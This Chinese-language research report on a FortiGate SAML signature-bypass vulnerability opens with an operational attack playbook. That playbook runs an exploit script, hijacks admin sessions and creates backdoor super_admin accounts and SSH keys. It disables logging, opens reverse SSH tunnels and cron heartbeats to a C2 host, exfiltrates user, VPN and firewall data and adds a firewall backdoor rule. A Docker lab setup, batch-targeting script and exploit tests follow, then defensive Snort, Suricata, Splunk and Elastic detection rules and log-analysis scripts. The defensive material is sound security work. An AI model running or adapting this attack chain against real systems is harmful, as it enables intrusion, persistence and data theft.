cat > persist.sh << 'EOF'
#!/bin/bash
# 创建后门账户
config system admin
edit "backup_admin"
set password "StrongPassword123!"
set accprofile "super_admin"
next
end
EOF
阶段3: 交付(Delivery)
时间: T+4至 T+4.5小时
MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
3.1 发起攻击
# 执行利用脚本
python exploit.py \
--target https://fortigate.company.com \
--technique xsw \
--username [email protected] \
--verbose
# 输出示例:
# [*] 10:30:15 检查目标可达性...
# [+] 10:30:16 目标可达
# [*] 10:30:16 发现SAML端点: /saml/acs
# [*] 10:30:16 使用签名包装攻击...
# [*] 10:30:17 响应状态码: 302
# [+] 10:30:17 XSW攻击成功!
# [+] 10:30:17 获得会话Cookie:
# ccsrftoken: 0123456789abcdef...
3.2 验证访问
# 使用获得的cookie访问管理界面
import requests
cookies = {
'ccsrftoken': '0123456789abcdef...',
'APSCOOKIE': 'xyz123...'
}
response = requests.get(
'https://fortigate.company.com/ng/system/status',
cookies=cookies,
verify=False
)
if response.status_code == 200:
print("[+] 成功访问管理界面!")
print(f"设备信息: {response.text[:200]}")
成果:
获得管理员会话
可访问FortiGate管理界面
阶段4: 利用(Exploitation)
时间: T+4.5至 T+5小时
MITRE ATT&CK: TA0001 (Initial Access) 完成
4.1 确认权限
通过GUI或CLI确认:
# 通过Cookie访问CLI(如果可用)
# 或使用GUI检查:System > Administrators > admin
4.2 导出配置
# 自动化导出配置
def export_config(target, cookies):
response = requests.post(
f"{target}/api/v2/monitor/system/config/backup",
cookies=cookies,
params={'scope': 'global'},
verify=False
)
if response.status_code == 200:
with open('fortigate_config.conf', 'wb') as f:
f.write(response.content)
print("[+] 配置已导出")
return True
return False
成果:
完全管理员权限
获取设备配置文件
阶段5: 安装(Installation)
时间: T+5至 T+6小时
MITRE ATT&CK: TA0003 (Persistence)
5.1 创建后门账户
# 通过API创建新管理员
curl -k -X POST "https://fortigate.company.com/api/v2/cmdb/system/admin" \
-H "Cookie: ccsrftoken=..." \
-d '{
"name": "support_user",
"password": "Complex!Pass123",
"accprofile": "super_admin",
"trusthost1": "0.0.0.0/0"
}'
5.2 修改配置以建立持久化
# 添加SSH密钥认证
config system admin
edit "admin"
set ssh-public-key1 "ssh-rsa AAAAB3NzaC1yc2E..."
next
end
# 启用SSH访问(如果未启用)
config system global
set admin-ssh-port 22
end
5.3 禁用某些日志记录
# 减少审计痕迹
config log memory setting
set status disable
end
成果:
后门账户已创建
SSH密钥已添加
持久化机制已建立
阶段6: 命令与控制(Command and Control)
时间: T+6至 T+8小时
MITRE ATT&CK: TA0011 (Command and Control)
6.1 建立C2通道
# 反向SSH隧道
ssh -R 8443:localhost:443 [email protected] -N -f
# 或使用VPN建立加密通道
config vpn ipsec phase1-interface
edit "c2-tunnel"
set remote-gw c2server.com
set psksecret "preshared-secret"
next
end
6.2 定期心跳
# 配置定时任务(如果FortiOS支持)
# 或使用外部cron向C2服务器发送心跳
*/15 * * * * curl -k https://c2server.com/heartbeat?id=target1
成果:
C2通道已建立
可持续控制设备
阶段7: 目标达成(Actions on Objectives)
时间: T+8小时以后
MITRE ATT&CK: TA0010 (Exfiltration), TA0040 (Impact)
7.1 数据窃取
# 窃取敏感信息
def exfiltrate_data(target, cookies, c2_server):
# 导出用户数据库
users = requests.get(f"{target}/api/v2/cmdb/user/local",
cookies=cookies, verify=False).json()
# 导出VPN配置
vpn_config = requests.get(f"{target}/api/v2/cmdb/vpn/ipsec/phase1-interface",
cookies=cookies, verify=False).json()
# 导出防火墙规则
firewall_rules = requests.get(f"{target}/api/v2/cmdb/firewall/policy",
cookies=cookies, verify=False).json()
# 发送到C2服务器
requests.post(f"https://{c2_server}/exfil",
json={
'users': users,
'vpn': vpn_config,
'firewall': firewall_rules
})
7.2 横向移动
# 使用获取的VPN凭证访问内网
# 或修改防火墙规则允许从外部访问内网
config firewall policy
edit 0
set name "backdoor-access"
set srcintf "wan1"
set dstintf "internal"
set srcaddr "attacker-ip"
set dstaddr "internal-servers"
set action accept
set schedule "always"
set service "ALL"
next
end
7.3 部署勒索软件(如果是勒索攻击)
# 修改防火墙规则允许勒索软件通信
# 禁用关键防护功能
# 等待加密完成后展示勒索信息
成果:
敏感数据已窃取
内网访问已建立
攻击目标已达成
攻击者档案:
高级持续性威胁(APT)组织
目标:通过MSP/MSSP访问多个客户
资源:高技能,充足资源
攻击概述:
攻击托管安全服务提供商(MSSP)的FortiGate管理平台,从而访问所有客户网络。
攻击流程:
1. 侦察MSSP的FortiGate管理基础设施
2. 利用CVE-2025-59718获得FortiManager或主FortiGate访问
3. 枢纽到客户FortiGate设备
4. 在多个客户网络中建立持久化
5. 长期潜伏和数据收集
影响放大:
一次攻击影响数十甚至数百个组织
难以检测和根除
严重的供应链安全事件
T+0h:00m - 开始侦察
T+0h:30m - 识别易受攻击目标
T+1h:00m - 完成目标信息收集
T+2h:00m - 准备利用工具
T+3h:00m - 准备后渗透工具
T+4h:00m - 发起攻击
T+4h:15m - 获得初始访问
T+4h:30m - 确认权限
T+5h:00m - 导出配置
T+5h:30m - 创建后门账户
T+6h:00m - 建立持久化
T+6h:30m - 建立C2通道
T+8h:00m - 开始数据窃取
T+12h:00m - 横向移动到内网
T+24h:00m - 完成目标达成
总时间: 24小时内完成完整攻击链
低噪音攻击:
单次HTTP POST请求即可获得访问
无需暴力破解或多次尝试
流量类似正常SAML认证
合法凭证使用:
攻击后使用的是合法的管理会话
难以与正常管理活动区分
日志规避:
攻击者可禁用或修改日志配置
SAML认证日志可能不完整
本研究开发了一个完整的Docker化测试环境,用于安全地演示和研究CVE-2025-59718漏洞。
环境架构图:
┌─────────────────────────────────────────────────────────┐
│ 主机操作系统 │
│ (Linux/macOS/Windows+WSL2) │
└───────────────────┬─────────────────────────────────────┘
│
┌──────────┴──────────┐
│ Docker Engine │
└──────────┬──────────┘
│
┌───────────────┴────────────────┐
│ Docker Network (bridge) │
│ 192.168.1.0/24 │
└────────┬──────────────┬────────┘
│ │
┌────────┴────────┐ ┌┴────────────────┐
│ 测试容器 │ │ 攻击容器 │
│ (Python Flask) │ │ (Python) │
│ │ │ │
│ 易受攻击的 │ │ POC利用工具 │
│ SAML SP │ │ │
│ vulnerable_ │ │ exploit_poc.py │
│ saml_sp.py │ │ │
│ │ │ │
│ Port: 5000 │ │ │
└─────────────────┘ └─────────────────┘
│ │
└──────────┬───────────┘
│
互相通信
组件说明:
易受攻击的SAML Service Provider:
模拟FortiGate管理界面
实现了存在缺陷的SAML签名验证
提供Web界面用于观察攻击效果
POC利用工具:
自动化的漏洞利用脚本
支持三种攻击技术
详细的日志输出
Docker网络:
隔离的网络环境
容器间通信
与主机网络隔离
系统要求:
Ubuntu 20.04+ / macOS 12+ / Windows 10+ with WSL2
Docker 20.10+
Docker Compose 1.29+
Python 3.8+
4GB RAM
10GB磁盘空间
软件安装:
# Ubuntu/Debian
sudo apt-get update
sudo apt-get install docker.io docker-compose python3 python3-pip
# macOS (使用Homebrew)
brew install docker docker-compose python3
# 验证安装
docker --version
docker-compose --version
python3 --version
# 克隆或下载研究项目
cd /path/to/research
git clone <repository-url> CVE-2025-59718-research
# 或解压提供的压缩包
cd CVE-2025-59718-research
CVE-2025-59718-research/
├── docker-env/
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── requirements.txt
│ ├── vulnerable_saml_sp.py
│ └── README.md
├── poc/
│ └── exploit_poc.py
├── analysis/
│ ├── vulnerability_analysis.md
│ └── mitigation_guide.md
├── reports/
│ └── CVE-2025-59718-完整研究报告.md
├── quick_start.sh
├── pro.md
└── README.md
方法1: 使用Docker Compose(推荐)
cd docker-env
# 构建镜像
docker-compose build
# 启动服务
docker-compose up -d
# 查看日志
docker-compose logs -f
# 验证服务
curl http://localhost:5000/status
方法2: 使用Docker直接构建
cd docker-env
# 构建镜像
docker build -t cve-2025-59718-vulnerable-sp .
# 运行容器
docker run -d \
--name cve-2025-59718-demo \
-p 5000:5000 \
cve-2025-59718-vulnerable-sp
# 查看日志
docker logs -f cve-2025-59718-demo
方法3: 本地Python运行(无Docker)
cd docker-env
# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# 或 venv\\Scripts\\activate # Windows
# 安装依赖
pip install -r requirements.txt
# 运行服务
python vulnerable_saml_sp.py
# 检查容器状态
docker ps | grep cve-2025-59718
# 输出示例:
# CONTAINER ID IMAGE STATUS PORTS
# abc123def456 cve-2025-59718-demo Up 2 minutes 0.0.0.0:5000->5000/tcp
# 测试HTTP连接
curl http://localhost:5000/
# 应返回HTML登录页面
# 测试SAML端点
curl -X POST http://localhost:5000/saml/acs
# 应返回400或类似错误(因为没有提供SAML响应)
# 检查状态API
curl http://localhost:5000/status | jq
# 输出示例:
# {
# "service": "FortiGate Management Interface",
# "forticloud_sso": "enabled",
# "vulnerable": true,
# "cve": "CVE-2025-59718"
# }
cd poc/
# 创建独立虚拟环境
python3 -m venv poc-env
source poc-env/bin/activate
# 安装依赖
pip install requests lxml
# 验证安装
python -c "import requests, lxml; print('依赖安装成功')"
创建配置文件poc_config.json:
{
"target": "http://localhost:5000",
"username": "[email protected]",
"default_technique": "xsw",
"verbose": true,
"timeout": 10,
"verify_ssl": false,
"proxy": null
}
# 快速测试
python exploit_poc.py --target http://localhost:5000 --technique unsigned
# 预期输出:
# ╔════════════════════════════════════════════════════════════╗
# ║ CVE-2025-59718 SAML Authentication Bypass POC ║
# ║ ║
# ╚════════════════════════════════════════════════════════════╝
#
# [*] 目标: http://localhost:5000
# [*] 攻击类型: unsigned
# [+] 目标可达
# [+] 发现SAML端点: /saml/acs
# [*] 生成恶意SAML响应...
# [+] SAML响应已生成并编码
# [*] 发送恶意SAML响应...
# HTTP状态码: 200
# [+] SAML响应被接受!
# [+] 漏洞利用成功!
# [+] 已获得管理员访问权限
# 1. 确保测试环境运行
docker ps | grep cve-2025-59718
# 2. 在浏览器中访问
# 打开: http://localhost:5000
# 观察登录界面
# 3. 运行POC
cd poc/
python exploit_poc.py \
--target http://localhost:5000 \
--technique unsigned \
--username [email protected] \
--verbose
# 4. 观察服务器日志
docker logs cve-2025-59718-demo
# 5. 访问管理界面(如果攻击成功)
curl http://localhost:5000/admin \
-b "ccsrftoken=<从POC输出获取>"
python exploit_poc.py \
--target http://localhost:5000 \
--technique xsw \
--verbose
python exploit_poc.py \
--target http://localhost:5000 \
--all
# 在主机上捕获Docker网络流量
sudo tcpdump -i docker0 -w cve-2025-59718-traffic.pcap
# 或指定端口
sudo tcpdump -i any port 5000 -w attack-traffic.pcap
# 安装Wireshark
sudo apt-get install wireshark
# 打开捕获文件
wireshark cve-2025-59718-traffic.pcap
分析要点:
查找POST请求到/saml/acs
检查HTTP请求体中的SAMLResponse参数
Base64解码查看SAML内容
观察响应中的Set-Cookie头
# 配置POC使用Burp代理
python exploit_poc.py \
--target http://localhost:5000 \
--proxy http://127.0.0.1:8080 \
--technique xsw
在Burp Suite中:
Proxy → Intercept → On
观察SAML POST请求
在Decoder中解码SAMLResponse
分析XML结构
# 查看易受攻击服务的日志
docker logs -f cve-2025-59718-demo
# 输出示例:
# ============================================================
# 收到SAML响应
# ============================================================
# <?xml version="1.0"?>
# <samlp:Response ...>
# <saml:Assertion>
# <saml:NameID>[email protected]</saml:NameID>
# </saml:Assertion>
# </samlp:Response>
# ============================================================
#
# 警告: 未找到签名,但验证通过(缺陷1)
# 签名验证通过(实际上可能存在缺陷)
# 用户 [email protected] 登录成功(角色: super_admin)
# 导出日志到文件
docker logs cve-2025-59718-demo > attack_logs.txt
# 或使用syslog
docker logs cve-2025-59718-demo 2>&1 | \
logger -t cve-2025-59718 -s
# 停止Docker Compose服务
cd docker-env
docker-compose down
# 或停止单个容器
docker stop cve-2025-59718-demo
docker rm cve-2025-59718-demo
# 删除镜像
docker rmi cve-2025-59718-vulnerable-sp
# 清理Docker网络
docker network prune
# 清理所有未使用资源
docker system prune -a
# 停用虚拟环境
deactivate
# 删除虚拟环境目录
rm -rf poc-env venv
问题1: 容器无法启动
# 检查Docker日志
docker logs cve-2025-59718-demo
# 常见原因:
# - 端口5000已被占用
# - 权限不足
# - Docker服务未运行
# 解决方案:
# 检查端口占用
sudo lsof -i :5000
# 或使用其他端口
docker run -p 8080:5000 cve-2025-59718-vulnerable-sp
问题2: POC连接失败
# 检查网络连通性
ping localhost
curl http://localhost:5000/status
# 检查防火墙
sudo iptables -L
sudo ufw status
# 如果在虚拟机中,确保端口转发正确配置
问题3: Python依赖安装失败
# 升级pip
python3 -m pip install --upgrade pip
# 使用国内镜像源(中国地区)
pip install -r requirements.txt \
-i https://pypi.tuna.tsinghua.edu.cn/simple
# 或单独安装问题包
pip install lxml --no-binary lxml
启用详细日志:
# 修改vulnerable_saml_sp.py
# 在文件末尾修改:
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True) # 启用debug
使用Python调试器:
# 在exploit_poc.py中添加断点
import pdb; pdb.set_trace()
# 运行POC
python exploit_poc.py --target http://localhost:5000
创建目标列表targets.txt:
http://localhost:5000
http://192.168.1.100:5000
https://fortigate-test.local
批量测试脚本:
#!/bin/bash
while read target; do
echo "Testing $target"
python exploit_poc.py --target "$target" --all
sleep 5
done < targets.txt
#!/usr/bin/env python3
"""
CVE-2025-59718 自动化测试套件
"""
import unittest
from exploit_poc import CVE202559718Exploit
class TestCVE202559718(unittest.TestCase):
def setUp(self):
self.target = "http://localhost:5000"
self.exploit = CVE202559718Exploit(self.target)
def test_target_reachable(self):
"""测试目标可达性"""
self.assertTrue(self.exploit.check_target())
def test_unsigned_attack(self):
"""测试未签名攻击"""
result = self.exploit.exploit_unsigned()
self.assertIsNotNone(result)
def test_xsw_attack(self):
"""测试签名包装攻击"""
result = self.exploit.exploit_xsw()
self.assertIsNotNone(result)
def test_empty_sig_attack(self):
"""测试空签名攻击"""
result = self.exploit.exploit_empty_sig()
self.assertIsNotNone(result)
if __name__ == '__main__':
unittest.main()
运行测试:
python test_exploit.py -v
正常SSO登录日志:
date=2025-12-16 time=10:30:45
type=event subtype=admin
level=notice
action=login
status=success
method=sso
[email protected]
src=192.168.1.100
msg="Administrator [email protected] logged in successfully from 192.168.1.100 via FortiCloud SSO"
可疑SSO登录特征:
date=2025-12-12 time=02:15:33
type=event subtype=admin
level=notice
action=login
status=success
method=sso
[email protected]
src=203.0.113.45
msg="Administrator [email protected] logged in successfully from 203.0.113.45 via FortiCloud SSO"
异常指标:
非工作时间登录(凌晨2点)
来源IP不在可信范围
使用通用管理员名称
地理位置异常
通过CLI查询SSO登录:
# 查看所有SSO登录
execute log filter category event
execute log filter field subtype admin
execute log filter field method sso
execute log display
# 查看特定时间范围的登录
execute log filter start-time 2025-12-12 00:00:00
execute log filter end-time 2025-12-12 23:59:59
execute log display
# 查看来自特定IP的登录
execute log filter field srcip 203.0.113.45
execute log display
# 导出日志用于深入分析
execute log filter view-lines 10000
execute log export disk sso-audit.log
查询配置变更:
# 查看SSO登录后的配置更改
execute log filter field action config
execute log filter start-time 2025-12-12 02:00:00
execute log display
# 查看管理员账户变更
execute log filter field subtype admin
execute log filter field action "add|edit|delete"
execute log display
# 查看配置变更历史
diagnose sys config-history list
# 查看特定配置变更详情
diagnose sys config-history show <revision_number>
# 比较配置版本
diagnose sys config-history diff <rev1> <rev2>
正常SAML响应特征:
包含完整的<ds:Signature>元素
SignatureValue长度通常为256-512字节(Base64编码的RSA签名)
包含<ds:X509Certificate>证书信息
Reference URI指向正确的Assertion ID
时间戳合理(IssueInstant在当前时间附近)
恶意SAML响应特征:
特征1: 未签名响应
POST /saml/acs HTTP/1.1
Host: fortigate.company.com
Content-Type: application/x-www-form-urlencoded
SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8+...[无签名元素]
检测规则:
载荷中包含<saml:Assertion>
但不包含<ds:Signature>
特征2: 签名包装
载荷包含:
- 多个<saml:Assertion>元素(通常正常响应只有1个)
- 第一个Assertion有签名
- 后续Assertion无签名或签名无效
特征3: 空签名
包含<ds:Signature>但:
- SignatureValue为空或极短
- Reference URI为空("")
- 缺少X509Certificate
Snort规则:
# 规则1: 检测未签名的SAML响应
alert tcp any any -> $HOME_NET 443 (
msg:"CVE-2025-59718 - Unsigned SAML Response to FortiGate";
flow:established,to_server;
content:"POST"; http_method;
content:"/saml/acs"; http_uri;
content:"SAMLResponse="; http_client_body;
content:"<saml|3a|Assertion"; http_client_body; nocase;
content:!"<ds|3a|Signature"; http_client_body; nocase; distance:0; within:5000;
classtype:attempted-admin;
sid:2025001;
rev:1;
reference:cve,2025-59718;
)
# 规则2: 检测多个Assertion(签名包装)
alert tcp any any -> $HOME_NET 443 (
msg:"CVE-2025-59718 - Multiple Assertions in SAML Response (XSW)";
flow:established,to_server;
content:"POST"; http_method;
content:"/saml/acs"; http_uri;
content:"SAMLResponse="; http_client_body;
pcre:"/(<saml:Assertion[^>]*>.*){2,}/smi";
classtype:attempted-admin;
sid:2025002;
rev:1;
reference:cve,2025-59718;
)
# 规则3: 检测空SignatureValue
alert tcp any any -> $HOME_NET 443 (
msg:"CVE-2025-59718 - Empty Signature Value in SAML Response";
flow:established,to_server;
content:"POST"; http_method;
content:"/saml/acs"; http_uri;
content:"<ds|3a|SignatureValue"; http_client_body; nocase;
content:">"; http_client_body; nocase; distance:0; within:50;
content:"</ds|3a|SignatureValue"; http_client_body; nocase; distance:0; within:50;
classtype:attempted-admin;
sid:2025003;
rev:1;
reference:cve,2025-59718;
)
# 规则4: 检测异常来源的SAML响应
alert tcp !$TRUSTED_IDP any -> $HOME_NET 443 (
msg:"CVE-2025-59718 - SAML Response from Untrusted Source";
flow:established,to_server;
content:"POST"; http_method;
content:"/saml/acs"; http_uri;
content:"SAMLResponse="; http_client_body;
threshold:type limit, track by_src, count 5, seconds 300;
classtype:attempted-admin;
sid:2025004;
rev:1;
reference:cve,2025-59718;
)
Suricata规则:
# 检测未签名SAML响应
alert http any any -> $HOME_NET any (
msg:"CVE-2025-59718 Unsigned SAML Authentication Bypass Attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/saml/acs";
http.request_body; content:"SAMLResponse";
http.request_body; content:"<saml:Assertion"; nocase;
http.request_body; content:!"<ds:Signature"; nocase;
classtype:web-application-attack;
sid:3025001;
rev:1;
metadata:cve 2025-59718;
)
# 检测签名包装攻击
alert http any any -> $HOME_NET any (
msg:"CVE-2025-59718 SAML Signature Wrapping Attack (XSW)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/saml/acs";
http.request_body; content:"SAMLResponse";
http.request_body; pcre:"/(<saml:Assertion[^>]*>.*?<\/saml:Assertion>.*?){2,}/si";
classtype:web-application-attack;
sid:3025002;
rev:1;
metadata:cve 2025-59718;
)
使用tcpdump捕获SAML流量:
# 捕获到FortiGate管理接口的所有HTTPS流量
tcpdump -i eth0 -s 0 -w saml-traffic.pcap 'host fortigate.company.com and port 443'
# 实时监控POST到/saml/acs的请求
tcpdump -i eth0 -A 'host fortigate.company.com and tcp port 443 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354'
使用Wireshark分析:
过滤器:http.request.uri contains "/saml/acs"
查找POST请求
提取SAMLResponse参数(Base64编码)
Base64解码查看XML内容
检查签名元素完整性
自动化分析脚本:
#!/usr/bin/env python3
"""
SAML流量分析脚本
从pcap文件中提取和分析SAML响应
"""
from scapy.all import *
import base64
import re
from lxml import etree
def extract_saml_responses(pcap_file):
"""从pcap文件提取SAML响应"""
packets = rdpcap(pcap_file)
saml_responses = []
for packet in packets:
if packet.haslayer(TCP) and packet.haslayer(Raw):
payload = packet[Raw].load.decode('utf-8', errors='ignore')
# 查找SAMLResponse参数
match = re.search(r'SAMLResponse=([A-Za-z0-9+/=]+)', payload)
if match:
encoded_saml = match.group(1)
try:
# URL解码和Base64解码
decoded_saml = base64.b64decode(encoded_saml).decode('utf-8')
saml_responses.append({
'timestamp': packet.time,
'src_ip': packet[IP].src,
'dst_ip': packet[IP].dst,
'saml_xml': decoded_saml
})
except Exception as e:
print(f"解码失败: {e}")
return saml_responses
def analyze_saml_security(saml_xml):
"""分析SAML响应的安全性"""
issues = []
try:
root = etree.fromstring(saml_xml.encode())
namespaces = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
# 检查1: 是否包含签名
signatures = root.xpath('//ds:Signature', namespaces=namespaces)
if not signatures:
issues.append("CRITICAL: 响应不包含数字签名")
# 检查2: Assertion数量
assertions = root.xpath('//saml:Assertion', namespaces=namespaces)
if len(assertions) > 1:
issues.append(f"WARNING: 包含{len(assertions)}个Assertion(可能是XSW攻击)")
# 检查3: SignatureValue是否为空
if signatures:
sig_values = root.xpath('//ds:SignatureValue/text()', namespaces=namespaces)
for sv in sig_values:
if len(sv.strip()) < 100: # 有效的RSA签名通常>100字符
issues.append("CRITICAL: SignatureValue异常短或为空")
# 检查4: Reference URI
if signatures:
refs = root.xpath('//ds:Reference/@URI', namespaces=namespaces)
for ref in refs:
if not ref or ref == "":
issues.append("CRITICAL: Reference URI为空")
# 检查5: 证书存在性
if signatures:
certs = root.xpath('//ds:X509Certificate/text()', namespaces=namespaces)
if not certs:
issues.append("WARNING: 缺少X509证书")
except Exception as e:
issues.append(f"ERROR: XML解析失败 - {e}")
return issues
def main():
import sys
if len(sys.argv) < 2:
print("Usage: python analyze_saml_traffic.py <pcap_file>")
sys.exit(1)
pcap_file = sys.argv[1]
print(f"[*] 分析PCAP文件: {pcap_file}")
responses = extract_saml_responses(pcap_file)
print(f"[*] 找到{len(responses)}个SAML响应")
for i, resp in enumerate(responses):
print(f"\n[{i+1}] SAML响应:")
print(f" 时间: {resp['timestamp']}")
print(f" 源IP: {resp['src_ip']}")
print(f" 目标IP: {resp['dst_ip']}")
issues = analyze_saml_security(resp['saml_xml'])
if issues:
print(f" 安全问题:")
for issue in issues:
print(f" - {issue}")
else:
print(f" 状态: 看起来正常")
if __name__ == '__main__':
main()
使用方法:
python analyze_saml_traffic.py saml-traffic.pcap
规则1: 检测异常SSO登录
index=fortinet sourcetype=fortinet:fortigate
| search type=event subtype=admin action=login method=sso
| eval hour=strftime(_time, "%H")
| eval is_offhours=if(hour<6 OR hour>22, 1, 0)
| where is_offhours=1
| stats count by src, user, _time
| where count > 0
| eval severity="HIGH"
| eval description="非工作时间SSO登录尝试"
| table _time, src, user, severity, description
规则2: SSO登录后快速配置更改
index=fortinet
| transaction user maxspan=5m
| search action=login method=sso AND (action=edit OR action=add OR action=delete)
| eval time_diff=duration
| where time_diff < 300
| eval severity="CRITICAL"
| eval description="SSO登录后5分钟内进行配置更改(可能是CVE-2025-59718利用)"
| table _time, user, src, action, severity, description
规则3: 来自非可信IP的SSO登录
index=fortinet sourcetype=fortinet:fortigate
| search type=event subtype=admin action=login method=sso status=success
| eval src_ip=src
| lookup trusted_ips.csv ip as src_ip OUTPUT trust_level
| where isnull(trust_level) OR trust_level="untrusted"
| stats count by src_ip, user, _time
| where count > 0
| eval severity="HIGH"
| eval description="来自非可信IP的SSO登录"
| table _time, src_ip, user, severity, description
规则4: 创建新管理员账户
index=fortinet
| search type=event subtype=admin action=add
| search "admin" OR "administrator"
| eval prev_action=_time-300
| join type=left user [
search index=fortinet action=login method=sso
| eval join_time=_time
| where join_time >= prev_action
| fields user, src
]
| where isnotnull(src)
| eval severity="CRITICAL"
| eval description="SSO登录后创建新管理员账户(可能是后门)"
| table _time, user, src, severity, description
规则5: 批量SSO登录失败后成功
index=fortinet sourcetype=fortinet:fortigate
| search type=event subtype=admin action=login method=sso
| bin _time span=1m
| stats count(eval(status="failure")) as failures, count(eval(status="success")) as successes by _time, src
| where failures > 3 AND successes > 0
| eval severity="HIGH"
| eval description="多次SSO登录失败后成功(可能是利用尝试)"
| table _time, src, failures, successes, severity, description
Splunk告警配置:
<!-- savedsearches.conf -->
[CVE-2025-59718 - Suspicious SSO Login]
search = index=fortinet sourcetype=fortinet:fortigate type=event subtype=admin action=login method=sso | eval hour=strftime(_time, "%H") | eval is_offhours=if(hour<6 OR hour>22, 1, 0) | where is_offhours=1
cron_schedule = */5 * * * *
alert.severity = 4
alert.track = 1
alert.digest_mode = 1
action.email = 1
action.email.to = [email protected]
action.email.subject = CRITICAL: CVE-2025-59718 可疑SSO登录检测
action.email.message.alert = 检测到可疑的FortiCloud SSO登录活动,可能是CVE-2025-59718漏洞利用尝试
dispatch.earliest_time = -10m
dispatch.latest_time = now
Elasticsearch查询:
{
"query": {
"bool": {
"must": [
{"match": {"event.type": "admin"}},
{"match": {"event.action": "login"}},
{"match": {"auth.method": "sso"}}
],
"should": [
{
"bool": {
"must": [
{"range": {"@timestamp": {"gte": "now-1h"}}},
{
"script": {
"script": {
"source": "def hour = doc['@timestamp'].value.getHour(); return hour < 6 || hour > 22;"
}
}
}
]
}
},
{
"bool": {
"must_not": [
{"terms": {"source.ip": ["192.168.1.0/24", "10.0.0.0/8"]}}
]
}
}
],
"minimum_should_match": 1
}
},
"aggs": {
"by_source_ip": {
"terms": {
"field": "source.ip",
"size": 100
},
"aggs": {
"by_user": {
"terms": {
"field": "user.name",
"size": 10
}
}
}
}
}
}
Kibana告警(Watcher):
{
"trigger": {
"schedule": {
"interval": "5m"
}
},
"input": {
"search": {
"request": {
"indices": ["fortinet-*"],
"body": {
"query": {
"bool": {
"must": [
{"match": {"event.action": "login"}},
{"match": {"auth.method": "sso"}},
{"match": {"event.outcome": "success"}}
],
"filter": {
"range": {
"@timestamp": {
"gte": "now-5m"
}
}
}
}
}
}
}
}
},
"condition": {
"compare": {
"ctx.payload.hits.total": {
"gt": 0
}
}
},
"actions": {
"email_admin": {
"email": {
"to": "[email protected]",
"subject": "CVE-2025-59718: 检测到可疑SSO登录",
"body": "检测到{{ctx.payload.hits.total}}次FortiCloud SSO登录,可能是CVE-2025-59718利用尝试。\\n\\n详情请查看Kibana。"
}
},
"log_to_slack": {
"webhook": {
"scheme": "https",
"host": "hooks.slack.com",
"port": 443,
"method": "post",
"path": "/services/YOUR/SLACK/WEBHOOK",
"params": {},
"headers": {},
"body": "{\"text\":\"CVE-2025-59718 Alert: 检测到可疑SSO登录\"}"
}
}
}
}
自定义规则1: 检测CVE-2025-59718利用尝试
Rule Name: CVE-2025-59718 - FortiGate SSO Authentication Bypass Attempt
Rule Type: Event
Test:
when the event(s):
- Log Source Type is "Fortinet FortiGate"
- Event Name is "Administrator Login"
- Authentication Method is "SSO" or "FortiCloud"
- Event Category is "Authentication"
and when at least 1 event(s) are detected in 5 minutes
with the same Source IP
Response:
- Create Offense with Severity: High
- Send Email to SOC Team
- Create Ticket in SIEM
自定义规则2: SSO登录后配置更改
Rule Name: Configuration Change After SSO Login (CVE-2025-59718 Indicator)
Rule Type: Flow
Test:
when the flow contains:
- First Event: Authentication Successful (method=SSO)
- Second Event: Configuration Change
- Time Between Events < 5 minutes
- Same Username
Response:
- Create Offense with Severity: Critical
- Trigger Investigation Workflow
- Alert Security Team
可疑登录行为:
首次从某IP登录
地理位置异常跳转
短时间内多地登录
使用罕见的User-Agent
登录后立即进行高风险操作
检测脚本:
#!/usr/bin/env python3
"""
FortiGate异常登录行为检测
"""
import re
import sys
from datetime import datetime, timedelta
from collections import defaultdict
import geoip2.database
def parse_fortinet_log(log_file):
"""解析FortiGate日志"""
logins = []
with open(log_file, 'r') as f:
for line in f:
if 'method=sso' in line and 'action=login' in line:
# 提取关键字段
match = {
'timestamp': extract_field(line, 'date'),
'time': extract_field(line, 'time'),
'user': extract_field(line, 'user'),
'src_ip': extract_field(line, 'src'),
'status': extract_field(line, 'status')
}
logins.append(match)
return logins
def extract_field(log_line, field_name):
"""从日志行提取字段"""
pattern = f'{field_name}=([^ ]+)'
match = re.search(pattern, log_line)
return match.group(1) if match else None
def detect_anomalies(logins):
"""检测异常登录"""
anomalies = []
# 按用户分组
user_logins = defaultdict(list)
for login in logins:
user_logins[login['user']].append(login)
# 地理位置数据库
geoip_reader = geoip2.database.Reader('/usr/share/GeoIP/GeoLite2-City.mmdb')
for user, user_login_list in user_logins.items():
# 检测1: 不可能旅行(Impossible Travel)
for i in range(len(user_login_list) - 1):
current = user_login_list[i]
next_login = user_login_list[i + 1]
try:
current_loc = geoip_reader.city(current['src_ip'])
next_loc = geoip_reader.city(next_login['src_ip'])
# 计算距离(简化版)
distance = calculate_distance(
current_loc.location.latitude,
current_loc.location.longitude,
next_loc.location.latitude,
next_loc.location.longitude
)
# 计算时间差
time_diff = calculate_time_diff(current, next_login)
# 如果距离>500km但时间<1小时,标记为异常
if distance > 500 and time_diff < 3600:
anomalies.append({
'type': 'impossible_travel',
'user': user,
'from_ip': current['src_ip'],
'to_ip': next_login['src_ip'],
'from_location': f"{current_loc.city.name}, {current_loc.country.name}",
'to_location': f"{next_loc.city.name}, {next_loc.country.name}",
'distance_km': distance,
'time_diff_seconds': time_diff,
'severity': 'HIGH'
})
except Exception as e:
pass
# 检测2: 首次登录IP
known_ips = set()
for login in user_login_list:
if login['src_ip'] not in known_ips:
anomalies.append({
'type': 'first_time_ip',
'user': user,
'src_ip': login['src_ip'],
'timestamp': f"{login['timestamp']} {login['time']}",
'severity': 'MEDIUM'
})
known_ips.add(login['src_ip'])
# 检测3: 登录失败后成功
for i in range(len(user_login_list) - 1):
current = user_login_list[i]
next_login = user_login_list[i + 1]
if current['status'] == 'failure' and next_login['status'] == 'success':
time_diff = calculate_time_diff(current, next_login)
if time_diff < 300: # 5分钟内
anomalies.append({
'type': 'failed_then_success',
'user': user,
'src_ip': next_login['src_ip'],
'timestamp': f"{next_login['timestamp']} {next_login['time']}",
'severity': 'HIGH'
})
return anomalies
